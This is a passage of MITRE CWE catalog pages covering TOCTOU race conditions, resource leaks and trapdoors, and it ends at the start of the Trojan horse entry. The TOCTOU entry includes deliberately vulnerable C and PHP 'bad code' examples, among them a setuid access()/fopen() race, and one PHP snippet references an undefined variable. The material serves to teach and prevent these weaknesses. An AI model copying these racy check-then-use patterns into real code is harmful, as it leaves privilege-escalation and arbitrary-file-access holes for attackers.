Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.446UI Discrepancy for Security Feature
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.355User Interface Security Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

+ Observed Examples
ReferenceDescription
Network firewall accidentally implements one command line option as if it were another, possibly leading to behavioral infoleak.
Command line option correctly suppresses a user prompt but does not properly disable a feature, although when the product prompts the user, the feature is properly disabled.
Product does not "time out" according to user specification, leaving sensitive data available after it has expired.
+ Potential Mitigations

Phase: Testing

Perform extensive functionality testing of the UI. The UI should behave as specified.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.995SFP Secondary Cluster: Feature
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERThe UI performs the wrong action
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Weakness ID: 367
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the product to perform invalid actions when the resource is in an unexpected state.
+ Extended Description
This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.
+ Alternate Terms
TOCTTOU:
The TOCTTOU acronym expands to "Time Of Check To Time Of Use".
TOCCTOU:
The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.363Race Condition Enabling Link Following
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.386Symbolic Name not Mapping to Correct Object
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.609Double-Checked Locking
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.557Concurrency Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Alter Execution Logic; Unexpected State

The attacker can gain access to otherwise unauthorized resources.
Integrity
Other

Technical Impact: Modify Application Data; Modify Files or Directories; Modify Memory; Other

Race conditions such as this kind may be employed to gain read or write access to resources which are not normally readable or writable by the user in question.
Integrity
Other

Technical Impact: Other

The resource in question, or other resources (through the corrupted one), may be changed in undesirable ways by a malicious user.
Non-Repudiation

Technical Impact: Hide Activities

If a file or other resource is written in this method, as opposed to in a valid way, logging of the activity may not occur.
Non-Repudiation
Other

Technical Impact: Other

In some cases it may be possible to delete files a malicious user might not otherwise have access to, such as log files.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following code checks a file, then updates its contents.

(bad code)
Example Language:
struct stat *sb;
...
lstat("...",sb); // it has not been updated since the last time it was read
printf("stated file\n");
if (sb->st_mtimespec==...){
print("Now updating things\n");
updateThings();
}

Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.

Example 2

The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.

(bad code)
Example Language:
if(!access(file,W_OK)) {
f = fopen(file,"w+");
operate(f);
...
}
else {

fprintf(stderr,"Unable to open file %s.\n",file);
}

The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.

Example 3

This code prints the contents of a file if a user has permission.

(bad code)
Example Language: PHP 
function readFile($filename){
$user = getCurrentUser();

//resolve file if its a symbolic link
if(is_link($filename)){
$filename = readlink($filename);
}

if(fileowner($filename) == $user){
echo file_get_contents($realFile);
return;
}
else{
echo 'Access denied';
return false;
}
}

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

Example 4

This example is adapted from [REF-18]. Assume that this code block is invoked from multiple threads. The switch statement will execute different code depending on the time when MYFILE.txt was last changed.

(bad code)
Example Language:
#include <sys/types.h>
#include <sys/stat.h>

...

struct stat sb;
stat("MYFILE.txt",&sb);
printf("file change time: %d\n",sb->st_ctime);
switch(sb->st_ctime % 2){
case 0: printf("Option 1\n"); break;
case 1: printf("Option 2\n"); break;
default: printf("this should be unreachable?\n"); break;
}

If this code block were executed within multiple threads, and MYFILE.txt changed between the operation of one thread and another, then the switch could produce different, possibly unexpected results.

+ Observed Examples
ReferenceDescription
TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed
A multi-threaded race condition allows remote attackers to cause a denial of service (crash or reboot) by causing two threads to process the same RPC request, which causes one thread to use memory after it has been freed.
PHP flaw allows remote attackers to execute arbitrary code by aborting execution before the initialization of key data structures is complete.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
+ Potential Mitigations

Phase: Implementation

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

Phase: Implementation

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

Phase: Architecture and Design

Limit the interleaving of operations on files from multiple processes.

Phases: Implementation; Architecture and Design

If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

Phase: Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

Phase: Architecture and Design

Ensure that some environmental locking mechanism can be used to protect resources effectively.

Phase: Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3617PK - Time and State
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.988SFP Secondary Cluster: Race Condition Window
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

TOCTOU issues do not always involve symlinks, and not every symlink issue is a TOCTOU problem.

Research Gap

Non-symlink TOCTOU issues are not reported frequently, but they are likely to occur in code that attempts to be secure.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERTime-of-check Time-of-use race condition
7 Pernicious KingdomsFile Access Race Conditions: TOCTOU
CLASPTime of check, time of use race condition
CLASPRace condition in switch
CERT C Secure CodingFIO01-CBe careful using functions that use file names for identification
Software Fault PatternsSFP20Race Condition Window
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 5.4.6 Race condition in switch. 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-367] Dan Tsafrir, Tomer Hertz, David Wagner and Dilma Da Silva. "Portably Solving File TOCTTOU Races with Hardness Amplification". 2008-02-28. <https://www.usenix.org/legacy/events/fast08/tech/tsafrir.html>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "TOCTOU", Page 527. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Name, Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Alternate_Terms, Observed_Examples, Other_Notes, References, Relationship_Notes, Relationships, Research_Gaps
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated White_Box_Definitions
2010-09-27CWE Content TeamMITRE
updated Description, Relationships
2010-12-13CWE Content TeamMITRE
updated Alternate_Terms, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2022-04-28CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Time-of-check Time-of-use Race Condition

CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak')

Weakness ID: 402
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product makes resources available to untrusted parties when those resources are only intended to be accessed by the product.
+ Alternate Terms
Resource Leak
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.403Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.619Dangling Database Cursor ('Cursor Injection')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Observed Examples
ReferenceDescription
Server leaks a privileged file descriptor, allowing the server to be hijacked.
File descriptor leak allows read of restricted files.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERResource leaks
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Name
2011-03-29CWE Content TeamMITRE
updated Alternate_Terms
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Resource Leaks
2009-05-27Transmission of Private Resources into a New Sphere (aka 'Resource Leak')

CWE-510: Trapdoor

Weakness ID: 510
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.506Embedded Malicious Code
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism

+ Potential Mitigations

Phase: Installation

Always verify the integrity of the software that is being installed.

Phase: Testing

Identify and closely inspect the conditions for entering privileged areas of the code, especially those related to authentication, process invocation, and network communications.
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Inter-application Flow Analysis
  • Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
  • Generated Code Inspection

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Automated Monitored Execution
  • Forced Path Execution
  • Debugger
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Cost effective for partial coverage:
  • Formal Methods / Correct-By-Construction

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.904SFP Primary Cluster: Malware
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
LandwehrTrapdoor
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Landwehr
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-507: Trojan Horse

Weakness ID: 507
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
